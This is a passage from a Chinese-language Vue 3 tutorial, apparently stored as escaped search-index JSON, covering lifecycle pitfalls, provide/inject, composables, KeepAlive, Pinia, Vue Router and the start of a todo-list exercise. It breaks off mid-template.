inputEl.value.focus() 必然报错。 出现在 v-for 里的 ref 会被 Vue 收集成数组（ref=\"rowEl\" 时 rowEl.value 是数组）。 给组件加 ref 拿到的是组件实例，而不是 DOM 元素；\u003Cscript setup> 的组件默认不暴露任何东西，父级拿到的是个空壳，需要子组件 defineExpose({ focus, reset })（第十四章有现场）。 要拿原生 DOM，ref 加在原生元素上即可；动态 ref 名用函数形式 :ref=\"(el) => { els[i] = el }\"。 示例 12 最值得看的是第 2 块：不写 onUnmounted 清理时，组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。",{"id":19761,"title":816,"titles":19762,"content":19763,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-11",[5,10705],"1. 在 setup 顶层访问 DOM。 document.querySelector、el.value.focus() 写在 setup 里执行时机会导致拿到 null（或 SSR 时 document is not defined）。挪进 onMounted。 2. 忘记清理：定时器、全局事件、WebSocket、IntersectionObserver、watch 手动 stop。 卸载后回调还在跑，轻则内存泄漏，重则在已销毁的组件里改数据。规则很简单：在哪创建的订阅，就在对应的卸载钩子里关掉。 3. 组件被 KeepAlive 缓存时不会触发 unmounted。 切走只走 onDeactivated。你在 onMounted 里起的定时器，切走时不会停（第十四章专门讲这个）。 4. onUpdated 里再改响应式数据 → 递归更新。 报 Maximum recursive updates exceeded，页面卡死。想「数据变化后同步 DOM」用 watch + flush: 'post'。 5. v-if 控制的 ref 在隐藏时是 null。 任何 xxx.value.method() 之前要判空，或用可选链 inputEl.value?.focus()。 6. 异步回调里假设组件还活着。 setTimeout(() => { data.value = res }, 3000)，用户 1 秒后就切走了——给组件赋值虽然不报错，但请求竞态会污染下一次进入的界面。卸载时清 timer，或加「实例仍存活」标记。 7. 模板 ref 名字与响应式变量重名会被覆盖。 一个 setup 里既有普通 const el = ref(0) 又给元素写 ref=\"el\"，行为难料。约定 ref 变量统一以 El 结尾（inputEl、chartEl）。",{"id":19765,"title":11371,"titles":19766,"content":19767,"level":176},"\u002Ftutorials\u002Fvue3#附钩子时序与用途表",[5,10705],"顺序 钩子 \u002F 阶段 能做什么 别做什么 1 setup() 声明 ref\u002Fcomputed\u002Fwatch、注册 provide 访问 DOM、发请求（无 SSR 时勉强但没必要） 2 onBeforeMount 极少用 读 DOM（还没插） 3 onMounted 读 DOM、起 timer、第三方实例、首次请求 忘记配套卸载清理 4 onBeforeUpdate 记录更新前的 DOM 状态（如滚动位置） 改响应式数据 5 onUpdated 几乎不需要 在里面改数据（递归更新） 6 onBeforeUnmount 清理 timer\u002F监听\u002F实例 异步操作（来不及 await） 7 onUnmounted 兜底清理 假设 DOM 还在 — onActivated \u002F onDeactivated 仅 KeepAlive 内，替代 mounted\u002Funmounted 的重复触发 当成普通钩子写重复逻辑",{"id":19769,"title":11518,"titles":19770,"content":11521,"level":169},"\u002Ftutorials\u002Fvue3#十三provide-inject-与组合式函数跨层级与逻辑复用",[5],{"id":19772,"title":11525,"titles":19773,"content":19774,"level":176},"\u002Ftutorials\u002Fvue3#provide-inject跨层级传值",[5,11518],"\u003C!-- 祖先组件 ThemePanel.vue -->\n\u003Cscript setup>\nimport { provide, ref, readonly, computed } from 'vue'\nconst theme = ref('light')\nconst toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }\n\nprovide('theme', readonly(theme))       \u002F\u002F 只读的值\nprovide('toggleTheme', toggle)          \u002F\u002F 改的动作交给后代\nprovide('user', computed(() => store.user))\n\u003C\u002Fscript>\n\n\u003C!-- 任意深度的后代 -->\n\u003Cscript setup>\nimport { inject } from 'vue'\nconst theme = inject('theme')\nconst toggle = inject('toggleTheme')\nconst lang = inject('lang', 'zh')       \u002F\u002F 第二个参数：没找到时的默认值\nconst conf = inject('conf', () => ({}), { treatAsDefault: true })  \u002F\u002F 工厂默认值\n\u003C\u002Fscript> 要点：provide 的是 ref\u002Fcomputed 时才有响应性（示例 13 有对照）；用 symbol 做 key（const ThemeKey = Symbol()）能避免和第三方库撞名，也便于 TS 推断；祖先每次 provide 同一个 key 会覆盖上一层。 它适合「主题、语言、当前表单上下文、面板布局」这类语义上属于环境、但只在局部子树生效的数据。别把它当全局状态仓库——一旦某个组件被抽走，后代就静默拿到默认值。",{"id":19776,"title":11829,"titles":19777,"content":19778,"level":176},"\u002Ftutorials\u002Fvue3#组合式函数vue-3-的复用单位",[5,11518],"mixin（Vue 2）的问题是会撞名、来源不明。Vue 3 的答案是组合式函数：一个用到了响应式 API 的普通函数，约定命名 useXxx。 \u002F\u002F composables\u002FuseCounter.js\nimport { ref } from 'vue'\n\n\u002F**\n * 一个独立的计数器状态。\n * @param {number} [init=0] 初始值\n * @returns {{ count: import('vue').Ref\u003Cnumber>, inc: () => void, reset: () => void }}\n *\u002F\nexport function useCounter(init = 0) {\n  const count = ref(init)              \u002F\u002F 每次调用都新建，互不干扰\n  return { count, inc: () => count.value++, reset: () => { count.value = init } }\n} \u002F\u002F composables\u002FuseLocalStorage.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 与 localStorage 同步的 ref。\n * @param {string} key 存储键名\n * @param {any} fallback 读不到（或解析失败）时的兜底值\n *\u002F\nexport function useLocalStorage(key, fallback) {\n  let initial = fallback\n  try { initial = JSON.parse(localStorage.getItem(key)) ?? fallback } catch { \u002F* 脏数据兜底 *\u002F }\n  const data = ref(initial)\n  watch(data, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('存储失败', e) }\n  }, { deep: true })\n  return data\n} 在组件里用： \u003Cscript setup>\nimport { useCounter, useLocalStorage } from '@\u002Fcomposables'\nconst { count, inc } = useCounter(0)\nconst note = useLocalStorage('todo-note', '')\n\u003C\u002Fscript> 写组合式函数的四条约定： 名字以 use 开头，放 composables\u002F 目录（Nuxt 里连 import 都不用写）。 返回值用 ref\u002Fcomputed 而不是普通值，否则解构就丢响应性。 入参接受 ref 时用 toValue() \u002F unref() 读，让调用方能传常量也能传响应式值。 内部注册的 watch、onMounted、provide、inject 会自动挂到调用它的组件上——前提是在 setup 的同步执行期调用。",{"id":19780,"title":816,"titles":19781,"content":19782,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-12",[5,11518],"1. provide 的是原始值就断了响应。 provide('count', count.value) 传出去的是当时的快照，之后祖先怎么改后代都不动。provide 一个 ref（或 computed），后代读 .value。 2. 在异步回调里 inject \u002F provide。 setTimeout(() => inject('theme')) 拿不到（脱离组件实例，Vue 会警告 inject() can only be used inside setup()）。要注入就在 setup 顶层取好再用。 3. 组合式函数返回普通对象包着 .value。 return { count: count.value } 断掉响应性；返回值请给 ref 本身，解构 const { count } = useCounter() 之后必须写 count.value（模板里才自动解包）。 4. 顶层模块变量当成「每个组件一份」。 把 const state = ref(0) 写在函数外面（模块作用域），它就变成真正的全局单例——有时是故意的（全局配置），多数时候是 bug。 5. provide 的 key 拼错不会报错，只会拿到默认值。 用 Symbol() + 单独文件导出 key，或者 TypeScript 的 InjectionKey\u003CT>，把这类错误交给编译器。 6. 后代直接改注入进来的状态会连累所有共享者。 这是设计（同一份数据），不是 bug。规范做法：provide 只读数据 + provide 一个改的动作，后代只调函数。 7. 忘记清理的组合式函数是隐形泄漏源。 useMouse() 里 addEventListener('mousemove') 必须有 onUnmounted(() => removeEventListener(...))；useIntervalFn 之类要在卸载时停。",{"id":19784,"title":12472,"titles":19785,"content":19786,"level":176},"\u002Ftutorials\u002Fvue3#附状态传递方式选择表",[5,11518],"需求 用什么 父 → 子一层 props 子 → 父一层 emit 表单值父子同步 v-model \u002F defineModel() 跨 2 层以上的环境数据（主题、语言、面板） provide \u002F inject 全局共享、跨路由、需要 devtools Pinia（第十五章） 复用「逻辑 + 状态」，作用域仍在单组件内 组合式函数 useXxx 复用「DOM 行为」 自定义指令 调用子组件方法 模板 ref + defineExpose（最后手段）",{"id":19788,"title":12564,"titles":19789,"content":12567,"level":169},"\u002Ftutorials\u002Fvue3#十四动态组件keepalive-与异步组件",[5],{"id":19791,"title":19393,"titles":19792,"content":19793,"level":176},"\u002Ftutorials\u002Fvue3#动态组件component-is",[5,12564],"\u003Cscript setup>\nimport { shallowRef, ref } from 'vue'\nimport FieldText from '.\u002FFieldText.vue'\nimport FieldSelect from '.\u002FFieldSelect.vue'\n\n\u002F\u002F 方式一：字符串组件名（要求已注册）\nconst name = ref('field-text')\n\n\u002F\u002F 方式二：组件对象——用 shallowRef，别让 Vue 深度代理一个组件定义\nconst field = shallowRef(FieldText)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Ccomponent :is=\"name\" :model-value=\"text\" @update:model-value=\"text = $event\" \u002F>\n  \u003Ccomponent :is=\"field\" \u002F>\n\u003C\u002Ftemplate> 用组件对象时 ref(FieldText) 会触发「组件被 reactive 代理」的警告并带来无谓开销，shallowRef 才是正解（示例 14 有对照）。",{"id":19795,"title":12760,"titles":19796,"content":19797,"level":176},"\u002Ftutorials\u002Fvue3#keepalive缓存切换出去的组件",[5,12564],"\u003CKeepAlive include=\"tab-a,tab-b\" :max=\"10\">\n  \u003Ccomponent :is=\"current\" \u002F>\n\u003C\u002FKeepAlive> 包上 KeepAlive 后，切走的组件不卸载，状态（输入框内容、滚动位置、内部数据）保留；回来的时候不重新请求。配套钩子：onActivated \u002F onDeactivated（这才是缓存组件里该写「每次进入时刷新数据」的地方，onMounted 只会执行一次）。 props 作用 include 只缓存名字匹配的组件（按 name 匹配） exclude 除这些名字外都缓存 max 最多缓存几个，超出按 LRU 淘汰 \u003Cscript setup> 的组件名默认由文件名推断，跨目录或动态创建时不稳定——需要精确匹配就用 defineOptions({ name: 'TabA' })。",{"id":19799,"title":19396,"titles":19800,"content":19801,"level":176},"\u002Ftutorials\u002Fvue3#异步组件与-suspense",[5,12564],"const HeavyChart = defineAsyncComponent({\n  loader: () => import('.\u002FHeavyChart.vue'),\n  loadingComponent: LoadingBox,   \u002F\u002F 加载期间显示\n  errorComponent: ErrorBox,       \u002F\u002F 失败时显示\n  delay: 200,                     \u002F\u002F 200ms 内完成就不闪 loading\n  timeout: 10000                  \u002F\u002F 超时走 errorComponent\n}) 路由级懒加载用的就是同一套机制（第十六章：component: () => import('.\u002FPage.vue')）。\u003CSuspense>（实验性）能把「等待异步依赖」的边界统一交给模板管理，配合 async setup 使用；入门阶段先知道它存在即可。",{"id":19803,"title":19398,"titles":19804,"content":19805,"level":176},"\u002Ftutorials\u002Fvue3#defineexposescript-setup-默认是封闭的",[5,12564],"\u003C!-- FieldText.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst inner = ref('秘密')\nfunction focus() { \u002F* ... *\u002F }\ndefineExpose({ focus })          \u002F\u002F 只有列在这里的，父级通过 ref 才拿得到\n\u003C\u002Fscript> 父级 fieldRef.value.focus() 可用，fieldRef.value.inner 是 undefined。这是刻意的设计（组件内部实现属于隐私），别为了「方便」把整个实例 expose 出去——优先用 props\u002Femit。 示例 14 的开关能直观看到：不包 KeepAlive 时切走再回来输入没了（走的是 unmount\u002Fmount），包上之后内容还在、日志打的是 deactivated\u002Factivated。",{"id":19807,"title":816,"titles":19808,"content":19809,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-13",[5,12564],"1. 组件对象被 ref() 包装。 出现 Component is being stateful... \u002F Vue 警告组件被代理，并伴随性能损耗。组件定义请用 shallowRef 或普通常量。 2. KeepAlive 里 onMounted 不再「每次进入都跑」。 用户从 tab 切走再回来，你以为会刷新数据，其实什么都没发生。需要每次进入刷新的逻辑写在 onActivated。 3. include 匹配不到。 \u003Cscript setup> 组件名靠文件名推断，动态\u002F打包后与预期不符 → 缓存完全没生效。显式 defineOptions({ name: 'X' })。 4. 多根组件包在 KeepAlive \u002F Transition 里直接报错。 这两者都要求默认插槽只有一个元素，且该元素是单根的。 5. 忘记 max 导致内存吃紧。 每个被缓存的 tab 都活着（包括它的数据与定时器）。列表型 tab 建议 :max=\"5\" 或用 exclude 排除重组件。 6. 缓存组件里的全局监听不会自动解绑。 因为它压根没走卸载钩子——onDeactivated 里也要记得移除监听。 7. 异步组件默认每次重新挂载都会重新请求 chunk。 命中不了浏览器缓存时观感就是「转圈」。需要缓存实例时再套 KeepAlive。 8. :is 的值是 undefined 时什么都不渲染，且开发版只给一句弱警告。用 v-if=\"current\" 兜一层，或给个默认组件——「页面空白但没报错」多半就是这个。",{"id":19811,"title":13227,"titles":19812,"content":19813,"level":176},"\u002Ftutorials\u002Fvue3#附常用组合速查",[5,12564],"需求 组合写法 tab 面板 \u003Ccomponent :is=\"tabMap[key]\" \u002F> + KeepAlive include 表单字段按类型渲染 shallowRef 存组件 + \u003Ccomponent :is> + v-bind 首屏之外的重组件 defineAsyncComponent(() => import(...)) 需要动画的切换 \u003CTransition name=\"x\">\u003Ccomponent :is=\"v\" \u002F>\u003C\u002FTransition>（单根） 调用子组件方法 子 defineExpose + 父模板 ref 缓存数量兜底 \u003CKeepAlive :max=\"5\">",{"id":19815,"title":13314,"titles":19816,"content":19817,"level":169},"\u002Ftutorials\u002Fvue3#十五pinia跨页面共享状态",[5],"组件树解决「谁是谁的孩子」，但实际项目里总有数据不属于任何一棵子树：登录用户、购物车、主题、全局消息提示。放在某个组件里就得层层透传，放外面又丢了响应性。状态管理库把这些数据收进一个「独立的、响应式的、任何组件都能引用」的对象。 Vue 生态现在的答案是 Pinia（Vuex 已进入维护状态，新项目别选它）。",{"id":19819,"title":13327,"titles":19820,"content":19821,"level":176},"\u002Ftutorials\u002Fvue3#安装与最小闭环",[5,13314],"npm install pinia        # Vue 3 + Vite 项目 \u002F\u002F main.js\nimport { createApp } from 'vue'\nimport { createPinia } from 'pinia'\nimport App from '.\u002FApp.vue'\n\ncreateApp(App).use(createPinia()).mount('#app') \u002F\u002F stores\u002Fcounter.js —— setup store（推荐写法：长得像组件）\nimport { ref, computed } from 'vue'\nimport { defineStore } from 'pinia'\n\nexport const useCounter = defineStore('counter', () => {\n  const count = ref(0)\n  const double = computed(() => count.value * 2)\n  function inc(step = 1) { count.value += step }\n  async function loadFromServer() { \u002F* ... *\u002F }\n  return { count, double, inc, loadFromServer }\n}) \u003Cscript setup>\nimport { useCounter } from '@\u002Fstores\u002Fcounter'\nconst store = useCounter()          \u002F\u002F 组件里再调用，不要在模块顶层调\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ store.count }} \u002F {{ store.double }}\u003C\u002Fp>\n  \u003Cbutton @click=\"store.inc()\">+1\u003C\u002Fbutton>   \u003C!-- 解构会丢响应性，方法倒是可以直接用 -->\n\u003C\u002Ftemplate> 选项式 store 也支持（更接近 Vuex 手感，自带 $reset）： export const useCart = defineStore('cart', {\n  state: () => ({ items: [], coupon: '' }),\n  getters: { total: (s) => s.items.reduce((a, x) => a + x.price * x.qty, 0) },\n  actions: {\n    add(item) { \u002F* this.items.push(item) *\u002F }\n  }\n}) API 作用 store.count 读写状态（自动 unwrap ref） storeToRefs(store) 解构时保住响应性（方法单独拿出来） store.$patch({ items: [] }) 批量改（devtools 里合成一条记录） store.$patch((s) => { … }) 函数式批量改 store.$reset() 重置回初始 state（setup store 需自己实现） store.$state = { … } 整体替换 store.$subscribe((m, s) => …) 订阅变化（做持久化的地基） store.$onAction(({ after, onError }) => …) 拦截动作（埋点、错误上报）",{"id":19823,"title":13905,"titles":19824,"content":19825,"level":176},"\u002Ftutorials\u002Fvue3#持久化先把这一层想清楚",[5,13314],"Pinia 本体不做持久化。两种路子：插件（pinia-plugin-persistedstate，配置 persist: true）或手写 watch + localStorage： \u002F\u002F stores\u002Fuser.js 之后，在 App 里手动同步（简单可控）\nwatch(\n  () => ({ token: userStore.token, profile: userStore.profile }),\n  (v) => localStorage.setItem('user', JSON.stringify(v)),\n  { deep: true }\n) 三条纪律：只存该存的（token 可以，完整用户资料没必要）；存之前想清楚版本（结构变了读回旧数据要能兜底）；别把 store 整个 stringify（里面可能有不可序列化的东西，devtools 也会抱怨）。 示例 15 把两个「页面级组件」并排放着，它们各自 useCounter() 拿到的是同一个 store 实例；第二块演示 const { count } = store 之后界面不再更新，storeToRefs 一按就活了。",{"id":19827,"title":816,"titles":19828,"content":19829,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-14",[5,13314],"1. 直接解构 store 丢响应性。 const { count } = useCounter() 后 count 是普通数字快照（setup store 甚至更微妙）。请用 storeToRefs(store) 解构状态，动作（action）可以单独解构。 2. 在模块顶层调 useXxxStore()。 「调用 store」必须在 app.use(createPinia()) 之后、且在组件 setup 上下文里。模块顶层调用会得到 getActivePinia was called with no active Pinia 报错。写 const store = useCounter() 在 \u003Cscript setup> 里才对。 3. setup store 没有 $reset()。 需要重置就自己在里面写 function $reset() { count.value = 0 }（Pinia 允许你覆盖这个保留名）。 4. 两个 store 互相引用形成循环。 A 里 useB()、B 里 useA() 会导致初始化顺序炸掉。解法：把「调用」挪进 action 内部（用到时才取），或引入第三个 store 承担协调。 5. getters 里做副作用。 和 computed 同一纪律（第五章）——它只负责算值。发请求、埋点放 action。 6. action 里用箭头函数导致 this 丢失。 选项式 store 的 actions: { add: () => { this.items.push() } } 直接坏掉。用普通函数 add() {}。 7. 持久化把敏感信息写进 localStorage。 刷新令牌、完整用户对象留在浏览器里，XSS 一次就全丢。token 该放 httpOnly Cookie 就别放 localStorage。 8. 把 store 当成「全局变量垃圾桶」。 组件级状态（弹窗开合、当前表单草稿）放 store，会让复用和测试都变难。判断标准：需要跨路由\u002F跨不相关组件共享，才进 store。 9. SSR\u002F服务端渲染下的状态串号。 全局单例 store 在多请求间会串数据。做 SSR（Nuxt）时每个请求要独立实例——这正是 Nuxt 教程里 defineStore + 服务端注意事项那章要解决的问题。",{"id":19831,"title":14144,"titles":19832,"content":19833,"level":176},"\u002Ftutorials\u002Fvue3#附状态方案的选择",[5,13314],"状态范围 方案 单个组件内部 ref \u002F reactive 父 ↔ 子 props \u002F emit \u002F v-model 同一子树共享（主题、表单上下文） provide \u002F inject 跨页面、全局共享（用户、购物车） Pinia 服务端数据（列表、详情，需缓存与重新获取） useFetch（Nuxt）\u002F TanStack Query 一类 纯 URL 可表达的状态（筛选、分页、tab） 路由 query（第十六章）",{"id":19835,"title":14222,"titles":19836,"content":19837,"level":169},"\u002Ftutorials\u002Fvue3#十六vue-router单页应用的路由",[5],"路由 = 「URL ↔ 界面」的映射表。它让单页应用有可分享的地址、可前进后退的历史、可刷新的子页面。本教程基于 Vue Router 5（Nuxt 4 里用的就是它），语法与 v4 基本一致。",{"id":19839,"title":14232,"titles":19840,"content":19841,"level":176},"\u002Ftutorials\u002Fvue3#三步建起来",[5,14222],"npm install vue-router \u002F\u002F router\u002Findex.js\nimport { createRouter, createWebHistory } from 'vue-router'\nimport Home from '@\u002Fviews\u002FHome.vue'\n\nconst routes = [\n  { path: '\u002F', name: 'home', component: Home },\n  { path: '\u002Fabout', name: 'about', component: () => import('@\u002Fviews\u002FAbout.vue') },   \u002F\u002F 懒加载\n  { path: '\u002Fusers\u002F:id', name: 'user', component: () => import('@\u002Fviews\u002FUser.vue'), props: true },\n  { path: '\u002Fposts\u002F:page?', component: () => import('@\u002Fviews\u002FPosts.vue') },          \u002F\u002F 可选参数（省略时 undefined）\n  {\n    path: '\u002Fdashboard',\n    component: () => import('@\u002Fviews\u002FDashboard.vue'),\n    children: [                                  \u002F\u002F 嵌套：父组件里要放 \u003CRouterView \u002F>\n      { path: '', component: DashboardHome },    \u002F\u002F \u002Fdashboard\n      { path: 'analytics', component: Analytics } \u002F\u002F \u002Fdashboard\u002Fanalytics\n    ]\n  },\n  { path: '\u002F:pathMatch(.*)*', name: 'not-found', component: NotFound }   \u002F\u002F 兜底 404\n]\n\nexport const router = createRouter({\n  history: createWebHistory(),        \u002F\u002F 干净 URL，需要服务端 fallback\n  routes,\n  scrollBehavior: (to, from, saved) => saved || { left: 0, top: 0 }\n}) \u002F\u002F main.js\nimport { createApp } from 'vue'\nimport router from '.\u002Frouter'\ncreateApp(App).use(router).mount('#app') \u003C!-- App.vue -->\n\u003Ctemplate>\n  \u003Cnav>\n    \u003CRouterLink to=\"\u002F\">首页\u003C\u002FRouterLink>\n    \u003CRouterLink :to=\"{ name: 'user', params: { id: 42 } }\">用户 42\u003C\u002FRouterLink>\n  \u003C\u002Fnav>\n  \u003CRouterView \u002F>          \u003C!-- 当前路由的组件渲染在这里 -->\n\u003C\u002Ftemplate>",{"id":19843,"title":14761,"titles":19844,"content":19845,"level":176},"\u002Ftutorials\u002Fvue3#三种-history决定部署方式",[5,14222],"创建方式 URL 形态 服务端要不要配 fallback 适合 createWebHistory() \u002Fusers\u002F42 要（刷新时所有路径都要回落到 index.html） 正式站点，SEO 友好 createWebHashHistory() \u002F#\u002Fusers\u002F42 不要 静态托管、iframe 内、子目录里懒得配 nginx createMemoryHistory() 不写地址栏 — 测试、示例（本教程的示例 16 用的就是它） history 模式下 nginx 的一行配置：try_files $uri $uri\u002F \u002Findex.html;。漏了它的症状是「首页能进，刷新子页面 404」。",{"id":19847,"title":14844,"titles":19848,"content":19849,"level":176},"\u002Ftutorials\u002Fvue3#读参数与跳转",[5,14222],"\u003Cscript setup>\nimport { useRoute, useRouter } from 'vue-router'\nconst route = useRoute()     \u002F\u002F 响应式的当前路由：params \u002F query \u002F hash \u002F path \u002F matched \u002F meta\nconst router = useRouter()   \u002F\u002F 命令式跳转\n\nfunction go() {\n  router.push({ name: 'user', params: { id: 7 } })\n  router.replace({ path: '\u002Flogin', query: { redirect: route.fullPath } })  \u002F\u002F 不留历史\n  router.back()\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>id = {{ route.params.id }}，页码 = {{ route.query.page }}\u003C\u002Fp>\n\u003C\u002Ftemplate> props: true（或 props: (route) => ({ id: Number(route.params.id) })）能把参数直接注入成组件 props，组件里就可以不依赖 useRoute——复用性和可测性都更好。 同一路由只换参数时组件会被复用（\u002Fusers\u002F1 → \u002Fusers\u002F2），mounted 不再执行。三种应对：:key=\"route.fullPath\" 强制重建、watch(() => route.params.id, load)、或 onBeforeRouteUpdate。",{"id":19851,"title":15052,"titles":19852,"content":19853,"level":176},"\u002Ftutorials\u002Fvue3#导航守卫三句话讲清",[5,14222],"\u002F\u002F 全局\nrouter.beforeEach((to) => {\n  if (to.meta.requiresAuth && !isLoggedIn()) {\n    return { name: 'login', query: { redirect: to.fullPath } }   \u002F\u002F 返回地址 = 重定向\n  }\n  \u002F\u002F 返回 undefined \u002F true = 放行；返回 false = 取消导航\n})\n\n\u002F\u002F 路由独享\n{ path: '\u002Fadmin', component: Admin, meta: { requiresAuth: true },\n  beforeEnter: (to) => isAdmin() || '\u002F403' }\n\n\u002F\u002F 组件内（\u003Cscript setup> 用这两个函数）\nimport { onBeforeRouteLeave, onBeforeRouteUpdate } from 'vue-router'\nonBeforeRouteLeave(() => edited.value ? confirm('有未保存内容，确定离开？') : true) meta 是自由字段（配合 TS 声明增强提示），常用来放 requiresAuth、title、layout。异步守卫可以直接 await（旧代码里的 next() 调用方式仍可用，新代码用返回值更清晰）。 示例 16 里点链接能看到「命中了哪条路由记录、params\u002Fquery 是什么、守卫放不放行」，右侧同步显示当前 route 对象的结构。",{"id":19855,"title":816,"titles":19856,"content":19857,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-15",[5,14222],"1. history 模式部署后刷新 404。 静态服务器只会为真实文件返回 200，\u002Fusers\u002F42 不是文件。必须配 fallback（try_files … \u002Findex.html）或改 hash 模式。子路径部署时还要给 createWebHistory('\u002Fnuxt\u002F') 传 base——这个 base 要和构建的 base 配置一致，否则资源路径和路由路径各说各话。 2. params 在 path 写法里会被静默丢弃。 router.push('\u002Fusers\u002F' + id) 之后 route.params 是空的；要用 push({ name, params }) 或把值拼进 path 再从 route.path 解析。 3. 用 v-if 或 \u003Ca href> 替代 \u003CRouterLink>。 原生 \u003Ca> 会触发整页刷新（单页应用的意义就没了）。需要「看起来像链接」时用 \u003CRouterLink custom v-slot=\"{ navigate }\"> 自定义渲染。 4. 守卫里返回 true\u002Ffalse 与 next() 混用。 同一个守卫里既 next() 又 return 会行为怪异。选一种风格，新项目建议返回值。 5. 守卫里做异步请求没加超时\u002F取消。 用户点得快，导航会卡在「等待鉴权」；请求失败时如果既不 return false 也不重定向，界面就停在原地，看起来像「链接点不动」。 6. 只换参数的页面不重新请求数据。 上面「同一路由复用组件」那条，是最常见的「切了个分类，列表还是老数据」。 7. 404 兜底路由必须放最后。 \u002F:pathMatch(.*)* 写在前面会把所有路径吃掉。它的路径语法（v4\u002Fv5 都支持这一种）值得抄下来，别靠记忆改写成 (.*?)。 8. scrollBehavior 返回 savedPosition 时要判空。 直接 return saved 在没保存位置时返回 undefined，Vue Router 会退化成「滚到顶部」，可能不是你想要的。 9. 路由懒加载的组件路径写错不会立刻报错。 () => import('.\u002FVIEWS\u002FAbout.vue') 只在真正进入那条路由时才失败（表现为「点了没反应\u002F白屏」）。构建期用 vite 的 build.rollupOptions 报错或跑一遍全路由点击来兜住。",{"id":19859,"title":15444,"titles":19860,"content":19861,"level":176},"\u002Ftutorials\u002Fvue3#附路由速查",[5,14222],"需求 写法 声明 { path: '\u002Fu\u002F:id', component: User, name: 'user', props: true, meta: { title: '用户' } } 可选参数 \u002Fposts\u002F:page?（省略时 params.page 为 undefined） 参数格式校验 别依赖路径里的正则（不同小版本语法有出入，实测为准）；用 beforeEnter 守卫或 props: (route) => ({ page: Number(route.params.page) || 1 }) 更稳 嵌套子路由 父记录 children: [...]，父组件里再放 \u003CRouterView \u002F> 兜底 404 { path: '\u002F:pathMatch(.*)*', component: NotFound }（放最后） 链接 \u003CRouterLink :to=\"{ name: 'user', params: { id } }\"> 激活样式类 active-class \u002F exact-active-class（默认 router-link-active \u002F -exact-active） 命令式跳转 router.push() \u002F replace() \u002F back() \u002F forward() 读当前路由 useRoute()（响应式，别解构整个对象） 守卫 全局 beforeEach \u002F afterEach，记录 beforeEnter，组件内 onBeforeRouteLeave\u002FUpdate 滚动 scrollBehavior: (to, from, saved) => saved ?? { left: 0, top: 0 } 懒加载 component: () => import('.\u002FViews\u002FX.vue') 路由中间件式复用 把校验逻辑抽进 meta + 一个全局守卫（Nuxt 里有专门的 definePageMeta + middleware）",{"id":19863,"title":15643,"titles":19864,"content":15646,"level":169},"\u002Ftutorials\u002Fvue3#十七综合实战一个待办清单把前面十六章串起来",[5],{"id":19866,"title":15650,"titles":19867,"content":19868,"level":176},"\u002Ftutorials\u002Fvue3#第一步数据形状先定下来",[5,15643],"\u002F\u002F 一条待办就是一个普通对象，id 稳定唯一（第十一章的 key 就靠它）\n{ id: 1731289000, text: '写教程', done: false, createdAt: 1731289000 } 先定数据，再写模板。 界面所有状态都能从这份数据算出来，就没有第二份需要同步的「影子状态」（这是 UI bug 的主要来源）。",{"id":19870,"title":15711,"titles":19871,"content":19872,"level":176},"\u002Ftutorials\u002Fvue3#第二步最小可用版一个文件",[5,15643],"\u003Cscript setup>\nimport { ref, computed, watch } from 'vue'\n\nconst KEY = 'vue3-todo'\nconst storage = ref([])\n\nconst draft = ref('')\nconst filter = ref('all')          \u002F\u002F all | active | done\n\nconst add = () => {\n  const text = draft.value.trim()\n  if (!text) return\n  storage.value.push({ id: Date.now(), text, done: false })\n  draft.value = ''\n}\n\nconst visible = computed(() =>\n  storage.value.filter(t => filter.value === 'all' ? true : t.done === (filter.value === 'done'))\n)\nconst left = computed(() => storage.value.filter(t => !t.done).length)\n\nwatch(storage, (v) => localStorage.setItem(KEY, JSON.stringify(v)), { deep: true })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Csection class=\"todo\">\n    \u003Cform @submit.prevent=\"add\">\n      \u003Cinput v-model=\"draft\" placeholder=\"要做什么？\" aria-label=\"新待办\">\n      \u003Cbutton type=\"submit\" :disabled=\"!draft.trim()\">添加\u003C\u002Fbutton>\n    \u003C\u002Fform>\n\n    \u003Cul>\n      \u003Cli v-for=\"t in visible\" :key=\"t.id\">\n        \u003Clabel>\n          \u003Cinput type=\"checkbox\" v-model=\"t.done\">\n          \u003Cspan :class=\"{ done: t.done }\">{{ t.text }}\u003C\u002Fspan>\n        \u003C\u002Flabel>\n        \u003Cbutton type=\"button\" @click=\"storage = storage.filter(x => x.id !== t.id)\">删除\u003C\u002Fbutton>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n\n    \u003Cfooter>\n      剩 {{ left }} 项\n      \u003Cselect v-model=\"filter\">\n        \u003Coption value=\"all\">全部\u003C\u002Foption>\n        \u003Coption value=\"active\">未完成\u003C\u002Foption>\n        \u003Coption value=\"done\">已完成\u003C\u002Foption>\n      \u003C\u002Fselect>\n    \u003C\u002Ffooter>\n  \u003C\u002Fsection>\n\u003C\u002Ftemplate> 这一段里已经出现了：ref + 数组、v-model 在 checkbox 上直接改行内字段、computed 做筛选与统计、@submit.prevent、:disabled、:key、watch 做持久化。入门阶段能写出这个版本，就说明语法都打通了。",{"id":19874,"title":16462,"titles":19875,"content":19876,"level":176},"\u002Ftutorials\u002Fvue3#第三步拆组件该拆的地方只有一处",[5,15643],"判断标准：某块有自己的状态或行为、且被用了两次以上，就值得独立成组件。这里 TodoItem 有「编辑态」这个本地状态，最合适被拆出去。 \u003C!-- components\u002FTodoItem.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst props = defineProps({ todo: { type: Object, required: true } })\nconst emit = defineEmits(['toggle', 'remove', 'rename'])\n\nconst editing = ref(false)\nconst text = ref(props.todo.text)\n\nfunction save() {\n  const t = text.value.trim()\n  if (t && t !== props.todo.text) emit('rename', t)\n  editing.value = false\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cli>\n    \u003Ctemplate v-if=\"!editing\">\n      